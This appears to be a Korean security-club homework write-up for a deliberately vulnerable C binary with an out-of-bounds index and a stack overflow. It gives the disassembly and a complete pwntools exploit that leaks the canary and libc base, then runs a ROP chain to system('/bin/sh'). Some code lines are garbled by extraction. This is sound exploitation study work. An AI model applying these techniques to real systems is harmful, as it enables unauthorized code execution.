보안 공부/[동아리]

[동아리] Pay1oad_PWNABLE 7주차 과제

jjingjjing-2 2024. 12. 2. 12:10

1. OOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//gcc -o oob oob.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void init(){
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
}
 
void menu(){
    puts("1. print oob");
    puts("2. edit oob");
    puts("3. exit");
}
 
void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; ret");
    asm("pop %rdx; ret");
}
 
int main(){
    init();
    int index = 0;
    int num=0;
    int i=1;
    char edit[10];
    int oob[5={1,2,3,4,5};
    printf("Very simple oob\n");
 
    while(i){       
        menu();
        printf("menu: ");
        scanf("%d",&num);
        switch(num){
            case 1:
                printf("Input index: ");
                scanf("%d",&index);
                printf("%u\n", oob[index]);
                break;
            case 2:
                printf("Input index: ");
                scanf("%d",&index);
                printf("edit in index %d\n",index);
                printf("input value: ");
                scanf("%d",&oob[index]);
                break;
            case 3:
            default:
                exit(0);
                break;
        }
    }
    
    printf("Last Input: ");
    char rop[10];
    read(0,rop,0x200);
    
    return 0;
}
cs

소스코드를 보면 index를 조정해서 내가 원하는 값을 볼 수 있고 값을 바꿀 수 있다. 또한 read 함수를 보면 BOF가 발생한다는 것을 알 수 있다. 어떤 보안 기법이 적용되었는지 확인을 해보겠다. 

Canary가 적용되어 있고 NX, PIE가 적용되었다는 것을 알 수 있다. 그렇다면 index를 조정해서 Canary를 얻고 libc base의 주소를 알아낼 수 있다. 그 후에 ROP를 이용한다면 익스에 성공할 것 같다. gdb를 통해 더 자세히 분석해 보겠다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
   0x0000000000001299 <+0>:     endbr64
   0x000000000000129d <+4>:     push   rbp
   0x000000000000129e <+5>:     mov    rbp,rsp
   0x00000000000012a1 <+8>:     sub    rsp,0x40
   0x00000000000012a5 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000000012ae <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000012b2 <+25>:    xor    eax,eax
   0x00000000000012b4 <+27>:    mov    eax,0x0
   0x00000000000012b9 <+32>:    call   0x1209 <init>
   0x00000000000012be <+37>:    mov    DWORD PTR [rbp-0x3c],0x0
   0x00000000000012c5 <+44>:    mov    DWORD PTR [rbp-0x38],0x0
   0x00000000000012cc <+51>:    mov    DWORD PTR [rbp-0x34],0x1
   0x00000000000012d3 <+58>:    mov    DWORD PTR [rbp-0x30],0x1
   0x00000000000012da <+65>:    mov    DWORD PTR [rbp-0x2c],0x2
   0x00000000000012e1 <+72>:    mov    DWORD PTR [rbp-0x28],0x3
   0x00000000000012e8 <+79>:    mov    DWORD PTR [rbp-0x24],0x4
   0x00000000000012ef <+86>:    mov    DWORD PTR [rbp-0x20],0x5
   0x00000000000012f6 <+93>:    lea    rax,[rip+0xd28]        # 0x2025
   0x00000000000012fd <+100>:   mov    rdi,rax
   0x0000000000001300 <+103>:   call   0x10b0 <puts@plt>
   0x0000000000001305 <+108>:   jmp    0x1437 <main+414>
   0x000000000000130a <+113>:   mov    eax,0x0
   0x000000000000130f <+118>:   call   0x1250 <menu>
   0x0000000000001314 <+123>:   lea    rax,[rip+0xd1a]        # 0x2035
   0x000000000000131b <+130>:   mov    rdi,rax
   0x000000000000131e <+133>:   mov    eax,0x0
   0x0000000000001323 <+138>:   call   0x10d0 <printf@plt>
   0x0000000000001328 <+143>:   lea    rax,[rbp-0x38]
   0x000000000000132c <+147>:   mov    rsi,rax
   0x000000000000132f <+150>:   lea    rax,[rip+0xd06]        # 0x203c
   0x0000000000001336 <+157>:   mov    rdi,rax
   0x0000000000001339 <+160>:   mov    eax,0x0
   0x000000000000133e <+165>:   call   0x1100 <__isoc99_scanf@plt>
   0x0000000000001343 <+170>:   mov    eax,DWORD PTR [rbp-0x38]
   0x0000000000001346 <+173>:   cmp    eax,0x1
   0x0000000000001349 <+176>:   je     0x1355 <main+188>
   0x000000000000134b <+178>:   cmp    eax,0x2
   0x000000000000134e <+181>:   je     0x13a8 <main+271>
   0x0000000000001350 <+183>:   jmp    0x142d <main+404>
   0x0000000000001355 <+188>:   lea    rax,[rip+0xce3]        # 0x203f
   0x000000000000135c <+195>:   mov    rdi,rax
   0x000000000000135f <+198>:   mov    eax,0x0
   0x0000000000001364 <+203>:   call   0x10d0 <printf@plt>
   0x0000000000001369 <+208>:   lea    rax,[rbp-0x3c]
   0x000000000000136d <+212>:   mov    rsi,rax
   0x0000000000001370 <+215>:   lea    rax,[rip+0xcc5]        # 0x203c
   0x0000000000001377 <+222>:   mov    rdi,rax
   0x000000000000137a <+225>:   mov    eax,0x0
   0x000000000000137f <+230>:   call   0x1100 <__isoc99_scanf@plt>
   0x0000000000001384 <+235>:   mov    eax,DWORD PTR [rbp-0x3c]
   0x0000000000001387 <+238>:   cdqe
   0x0000000000001389 <+240>:   mov    eax,DWORD PTR [rbp+rax*4-0x30]
   0x000000000000138d <+244>:   mov    esi,eax
   0x000000000000138f <+246>:   lea    rax,[rip+0xcb7]        # 0x204d
   0x0000000000001396 <+253>:   mov    rdi,rax
   0x0000000000001399 <+256>:   mov    eax,0x0
   0x000000000000139e <+261>:   call   0x10d0 <printf@plt>
   0x00000000000013a3 <+266>:   jmp    0x1437 <main+414>
   0x00000000000013a8 <+271>:   lea    rax,[rip+0xc90]        # 0x203f
   0x00000000000013af <+278>:   mov    rdi,rax
   0x00000000000013b2 <+281>:   mov    eax,0x0
   0x00000000000013b7 <+286>:   call   0x10d0 <printf@plt>
   0x00000000000013bc <+291>:   lea    rax,[rbp-0x3c]
   0x00000000000013c0 <+295>:   mov    rsi,rax
   0x00000000000013c3 <+298>:   lea    rax,[rip+0xc72]        # 0x203c
   0x00000000000013ca <+305>:   mov    rdi,rax
   0x00000000000013cd <+308>:   mov    eax,0x0
   0x00000000000013d2 <+313>:   call   0x1100 <__isoc99_scanf@plt>
   0x00000000000013d7 <+318>:   mov    eax,DWORD PTR [rbp-0x3c]
   0x00000000000013da <+321>:   mov    esi,eax
   0x00000000000013dc <+323>:   lea    rax,[rip+0xc6e]        # 0x2051
   0x00000000000013e3 <+330>:   mov    rdi,rax
   0x00000000000013e6 <+333>:   mov    eax,0x0
   0x00000000000013eb <+338>:   call   0x10d0 <printf@plt>
   0x00000000000013f0 <+343>:   lea    rax,[rip+0xc6c]        # 0x2063
   0x00000000000013f7 <+350>:   mov    rdi,rax
   0x00000000000013fa <+353>:   mov    eax,0x0
   0x00000000000013ff <+358>:   call   0x10d0 <printf@plt>
   0x0000000000001404 <+363>:   mov    eax,DWORD PTR [rbp-0x3c]
   0x0000000000001407 <+366>:   lea    rdx,[rbp-0x30]
   0x000000000000140b <+370>:   cdqe
   0x000000000000140d <+372>:   shl    rax,0x2
   0x0000000000001411 <+376>:   add    rax,rdx
   0x0000000000001414 <+379>:   mov    rsi,rax
   0x0000000000001417 <+382>:   lea    rax,[rip+0xc1e]        # 0x203c
   0x000000000000141e <+389>:   mov    rdi,rax
   0x0000000000001421 <+392>:   mov    eax,0x0
   0x0000000000001426 <+397>:   call   0x1100 <__isoc99_scanf@plt>
   0x000000000000142b <+402>:   jmp    0x1437 <main+414>
   0x000000000000142d <+404>:   mov    edi,0x0
   0x0000000000001432 <+409>:   call   0x1110 <exit@plt>
   0x0000000000001437 <+414>:   cmp    DWORD PTR [rbp-0x34],0x0
   0x000000000000143b <+418>:   jne    0x130a <main+113>
   0x0000000000001441 <+424>:   lea    rax,[rip+0xc29]        # 0x2071
   0x0000000000001448 <+431>:   mov    rdi,rax
   0x000000000000144b <+434>:   mov    eax,0x0
   0x0000000000001450 <+439>:   call   0x10d0 <printf@plt>
   0x0000000000001455 <+444>:   lea    rax,[rbp-0x12]
   0x0000000000001459 <+448>:   mov    edx,0x100
   0x000000000000145e <+453>:   mov    rsi,rax
   0x0000000000001461 <+456>:   mov    edi,0x0
   0x0000000000001466 <+461>:   mov    eax,0x0
   0x000000000000146b <+466>:   call   0x10e0 <read@plt>
   0x0000000000001470 <+471>:   mov    eax,0x0
   0x0000000000001475 <+476>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000001479 <+480>:   sub    rdx,QWORD PTR fs:0x28
   0x0000000000001482 <+489>:   je     0x1489 <main+496>
   0x0000000000001484 <+491>:   call   0x10c0 <__stack_chk_fail@plt>
   0x0000000000001489 <+496>:   leave
   0x000000000000148a <+497>:   ret
cs

OOB를 통해 Canary와 libc base를 알아내야 한다. 그렇기 때문에 각 변수들이 어디 위치하는지 알아야 한다. 

1
2
3
4
5
6
7
8
   0x00000000000012be <+37>:    mov    DWORD PTR [rbp-0x3c],0x0
   0x00000000000012c5 <+44>:    mov    DWORD PTR [rbp-0x38],0x0
   0x00000000000012cc <+51>:    mov    DWORD PTR [rbp-0x34],0x1
   0x00000000000012d3 <+58>:    mov    DWORD PTR [rbp-0x30],0x1
   0x00000000000012da <+65>:    mov    DWORD PTR [rbp-0x2c],0x2
   0x00000000000012e1 <+72>:    mov    DWORD PTR [rbp-0x28],0x3
   0x00000000000012e8 <+79>:    mov    DWORD PTR [rbp-0x24],0x4
   0x00000000000012ef <+86>:    mov    DWORD PTR [rbp-0x20],0x5
cs

이 코드를 보면 변수들이 어디에 할당되었는지 알 수 있다. [rbp -0x3c]에는 index, [rbp-0x38]에는 num, [rbp-0x34]에는 1, [rbp-0x30]에는 oob 변수가 위치한다. Canary는 [rbp-0x8]에 존재한다.

또한, __libc_start_call_main+128은 [rbp+0x8]에 존재한다는 것을 알 수 있다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
   0x0000555555555355 <+188>:   lea    rax,[rip+0xce3]        # 0x55555555603f
   0x000055555555535c <+195>:   mov    rdi,rax
   0x000055555555535f <+198>:   mov    eax,0x0
   0x0000555555555364 <+203>:   call   0x5555555550d0 <printf@plt>
   0x0000555555555369 <+208>:   lea    rax,[rbp-0x3c]
   0x000055555555536d <+212>:   mov    rsi,rax
   0x0000555555555370 <+215>:   lea    rax,[rip+0xcc5]        # 0x55555555603c
   0x0000555555555377 <+222>:   mov    rdi,rax
   0x000055555555537a <+225>:   mov    eax,0x0
   0x000055555555537f <+230>:   call   0x555555555100 <__isoc99_scanf@plt>
   0x0000555555555384 <+235>:   mov    eax,DWORD PTR [rbp-0x3c]
   0x0000555555555387 <+238>:   cdqe
   0x0000555555555389 <+240>:   mov    eax,DWORD PTR [rbp+rax*4-0x30]
   0x000055555555538d <+244>:   mov    esi,eax
   0x000055555555538f <+246>:   lea    rax,[rip+0xcb7]        # 0x55555555604d
   0x0000555555555396 <+253>:   mov    rdi,rax
   0x0000555555555399 <+256>:   mov    eax,0x0
   0x000055555555539e <+261>:   call   0x5555555550d0 <printf@plt>
   0x00005555555553a3 <+266>:   jmp    0x555555555437 <main+414>
   0x0000555555555437 <+414>:   cmp    DWORD PTR [rbp-0x34],0x0
   0x000055555555543b <+418>:   jne    0x55555555530a <main+113>
cs

1번을 누르면 내가 원하는 값을 출력할 수 있다. eax,DWORD PTR [rbp+rax*4-0x30]을 보면 oob를 계산하여 값을 출력시킨다는 것을 알 수 있다. 여기서 중요한 점은 이 값은 4바이트 값이라는 것이다. Canary와 __libc_start_call_main+128 8바이트이기 때문에 두 번 받아야 한다는 것이다. 쉽게 설명하면 Canary가 oob[10]에 있다면 뒷 4바이트만 출력되므로 oob[11]값을 받아서 둘이 합쳐야 한다. 

출력을 끝내고 main+414로 이동을 하는데 이 때 [rbp-0x34]가 0이면 read 함수가 작동하는 코드부분으로 이동하는 것을 알 수 있다. 익스를 하기 위한 조건은 다 갖춰진 것 같다. 간단하게 시나리오를 설명하면 index를 조정하여 Canary 와 __libc_start_call_main +128의 주소를 leak하고 libc_base를 구하기 위해 offset을 구해서 빼면 libc_base 주소값이 구해질 것이다. 그 후에 [rbp-0x34]를 0으로 바꾸고 read 함수에 ROP를 시도하면 익스가 될 것이다.

offset이 0x29d90이다. 가젯과 /bin/sh의 offset을 구해보겠다.

각각의 오프셋을 구했다. Canary를 구하는 코드를 작성해보겠다. Canary는 [rbp-0x8]에 위치하고 있기 때문에 oob[10], oob[11]에 위치한다. oob[11]의 값은 앞쪽 4비트이므로 비트시프트를 통해 8바이트로 만들어주고 더했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'11')
 
p.recvuntil(b"index: ")
cnry_first = p.recvline().strip()
cnry_first = int(cnry_first)
print('Canry 4bit : ' + hex(cnry_first))
 
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'10')
 
p.recvuntil(b"index: ")
cnry_second = p.recvline().strip()
cnry_second = int(cnry_second)
 
print('Canry 4bit : ' + hex(cnry_second))
 
cnry_first = cnry_first << 32
 
cnry = (cnry_first) + (cnry_second)
print("Canary : " + hex(cnry))
cs

Canary를 구했으니 libc base 주소를 구해보겠다. __libc_start_call_main +128이 들어있는 주소는 oob[14], oob[15]와 같다. oob[15]는 앞쪽 4비트이므로 비트시프트를 통해 8바이트로 만들고 서로를 더했다. 그 후 아까 구했던 offset을 빼어 libc base 주소를 구했다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#libc base 구하기
libc_offset = 0x29D90
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'14')
 
p.recvuntil(b"index: ")
libc_first = p.recvline().strip()
libc_first = int(libc_first)
print('libc base 4bit : ' + hex(libc_first))
 
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'15')
 
p.recvuntil(b"index: ")
libc_second = p.recvline().strip()
libc_second = int(libc_second)
print('libc base 4bit : ' + hex(libc_second))
 
libc_second = libc_second << 32
libc_base = libc_first + libc_second - libc_offset
print('libc base : ' + hex(libc_base))
cs

libc base의 주소를 구했으니 가젯의 offset을 더하면 그 함수 안에서 사용이 가능하다. 어셈블리 코드를 보면 알 수 있는 것처럼 rop의 위치는 [rbp-0x12]이다. 하지만 카나리가 적용되어있으므로 0xA만큼에 더미값을 넣고 그 후에 Canary값을 넣는다. sfp에는 0x8에 더미값을 넣고 ROP를 실행해주면 익스가 될 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#ROP 작성 코드
'''
0x000000000002a3e5 : pop rdi ; ret
1d8678 /bin/sh
0x0000000000029139 : ret
'''
binsh = 0x1d8678
ret_offset = 0x0000000000029139
pop_rdi_offset = 0x000000000002a3e5
system_offset = libc.symbols['system']
 
binsh = binsh + libc_base
ret = libc_base + ret_offset
pop_rdi = libc_base + pop_rdi_offset
libc_system = libc_base + system_offset
 
payload = b'a' * 0xA + p64(cnry) + b'a' * 0x8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(libc_system)
 
p.sendlineafter(b'menu: ', b'2')
p.sendlineafter(b'index: ',b'-1')
p.sendlineafter(b'value: ',b'0')
 
p.sendlineafter(b'Input: ', payload)
 
p.interactive()
 
cs

전체코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
 
= process('./oob')
= ELF("./oob")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
# gdb.attach(p)
 
#Canry 구하기
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'11')
 
p.recvuntil(b"index: ")
cnry_first = p.recvline().strip()
cnry_first = int(cnry_first)
print('Canry 4bit : ' + hex(cnry_first))
 
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'10')
 
p.recvuntil(b"index: ")
cnry_second = p.recvline().strip()
cnry_second = int(cnry_second)
 
print('Canry 4bit : ' + hex(cnry_second))
 
cnry_first = cnry_first << 32
 
cnry = (cnry_first) + (cnry_second)
print("Canary : " + hex(cnry))
 
#libc base 구하기
libc_offset = 0x29D90
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'14')
 
p.recvuntil(b"index: ")
libc_first = p.recvline().strip()
libc_first = int(libc_first)
print('libc base 4bit : ' + hex(libc_first))
 
p.sendlineafter(b'menu: ', b'1')
p.sendline(b'15')
 
p.recvuntil(b"index: ")
libc_second = p.recvline().strip()
libc_second = int(libc_second)
print('libc base 4bit : ' + hex(libc_second))
 
libc_second = libc_second << 32
libc_base = libc_first + libc_second - libc_offset
print('libc base : ' + hex(libc_base))
 
#ROP 작성 코드
'''
0x000000000002a3e5 : pop rdi ; ret
1d8678 /bin/sh
0x0000000000029139 : ret
'''
binsh = 0x1d8678
ret_offset = 0x0000000000029139
pop_rdi_offset = 0x000000000002a3e5
system_offset = libc.symbols['system']
 
binsh = binsh + libc_base
ret = libc_base + ret_offset
pop_rdi = libc_base + pop_rdi_offset
libc_system = libc_base + system_offset
 
payload = b'a' * 0xA + p64(cnry) + b'a' * 0x8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(libc_system)
 
p.sendlineafter(b'menu: ', b'2')
p.sendlineafter(b'index: ',b'-1')
p.sendlineafter(b'value: ',b'0')
 
p.sendlineafter(b'Input: ', payload)
 
p.interactive()
 
cs